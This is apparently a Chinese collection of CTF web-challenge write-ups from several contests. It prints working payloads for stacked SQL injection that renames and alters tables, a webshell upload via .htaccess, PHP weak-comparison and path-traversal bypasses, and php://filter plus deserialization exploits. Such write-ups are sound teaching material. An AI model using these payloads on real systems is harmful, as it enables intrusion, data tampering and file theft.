[强网杯 2019]随便注
知识点
sql堆叠注入
解题
打开页面就是这样的
提交1,返回正常,找到注入点是inject
注入?inject=-1' union select 1, 2%23
发现许多关键词都过滤了,没有过滤show,可以尝试堆叠注入
注入?inject=-1' ;show databases;%23
爆数据库
得到数据库名ctftraining information_schema mysql performance_schema supersqli test
继续注入?inject=-1' ;show tables;%23
爆表
得到表名1919810931114514 words
继续注入
?inject=-1' ;show columns from (反引号)1919810931114514(反引号);%23
爆字段,,,这里数字表名要用``包裹起来
得到字段名varchar(100) flag
不能直接得到flag,但是因为没有过滤alert和rename,这里要采用改表名的办法
1.将words表改名为words1或其它任意名字
2.1919810931114514改名为words
3.将flag列改名为id
1';RENAME TABLE `words` TO `words1`;
# 把 words 改名为 words1
RENAME TABLE `1919810931114514` TO `words`;
# 数字表改名为 words
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL; //character set 即字符集 COLLATE utf8_general_ci:数据库校对规则
新的 words 里的 flag 列改为 id (避免一开始无法查询)
show columns from words;#
所以payload就是/?inject=1';RENAME TABLE
wordsTO
words1;RENAME TABLE
1919810931114514TO
words;ALTER TABLE
wordsCHANGE
flagid
VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
下面我们注入/?inject=1' or '1'='1
就可以查flag了
[MRCTF2020]你传你🐎呢
知识点
1.什么是.htaccess文件?
答:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
2.怎么利用.htaccess文件进行上传?
答:我们可以在.htaccess文件文件中加入php解析规则,比如,本题中就利用这个解析规则将jpg文件解析成php文件来执行。
解题
打开页面是这样的
还是之前的test.phtml文件,不管是php还是phtml都不能上传成功
将文件改为jpg格式,尝试上传
显示上传成功,并且返回了路径,但现在还不能用蚁剑进行连接,因为上传的是jpg文件,现在就需要在上传一个htaccess文件,将jpg文件解析成php文件
将这个htaccess文件上传,抓包,修改Content-Type
放包,也显示了路径,这个时候我们就可以用蚁剑进行连接了
连接蚁剑
得到flag~
[ACTF2020 新生赛]BackupFile
知识点
备份文件泄露,弱类型绕过
解题
打开页面是这样的
通过提示知道是备份文件泄露.rar .zip .7z .tar.gz .bak .swp .txt .html
以上是备份文件后缀,我们扫一下目录
得到源代码
看看代码,是让我们进行简单的弱类型绕过
php中两个等于号是弱等于
取str的123与key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)
得到flag~
[HCTF 2018]WarmUp
hint.php中给了flag的位置:
flag not here, and flag in ffffllllaaaagggg
checkFile()会截取到第一个问号:
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
source.php?/会被当作目录,之后回溯目录就好了(linux)
/source.php?file=source.php?/…/…/…/…/…/…/…/ffffllllaaaagggg
[ZJCTF 2019]NiZhuanSiWei
这里由于要满足(file_get_contents($text,‘r’)===“welcome to the zjctf” 但并没有一个文件内容为welcome to the zjctf,所以我们直接用伪协议写一个
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
$password用了反序列化处理,这里限制file不能有flag,那就先读一下useless.php源码
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
用这里的file_get_contents就没有不能含flag字符的限制了
Exp:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
print(serialize($a));
?>
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到flag~